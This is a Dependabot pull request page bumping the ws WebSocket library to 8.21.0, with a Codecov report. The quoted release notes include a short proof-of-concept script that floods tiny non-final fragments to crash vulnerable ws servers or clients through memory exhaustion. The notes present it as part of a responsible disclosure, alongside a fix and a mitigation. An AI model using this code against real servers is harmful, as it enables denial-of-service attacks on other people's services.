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build(deps): bump ws from 8.19.0 to 8.21.0#1461

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build(deps): bump ws from 8.19.0 to 8.21.0#1461
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@dependabot dependabot Bot commented on behalf of github May 22, 2026

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Bumps ws from 8.19.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

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Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.19.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels May 22, 2026
@codecov

codecov Bot commented May 22, 2026

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Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 99.73%. Comparing base (00c07a3) to head (e8ad743).

Additional details and impacted files
@@           Coverage Diff           @@
##             main    #1461   +/-   ##
=======================================
  Coverage   99.73%   99.73%           
=======================================
  Files         120      120           
  Lines       13390    13390           
  Branches     4266     4266           
=======================================
  Hits        13355    13355           
  Misses         35       35           

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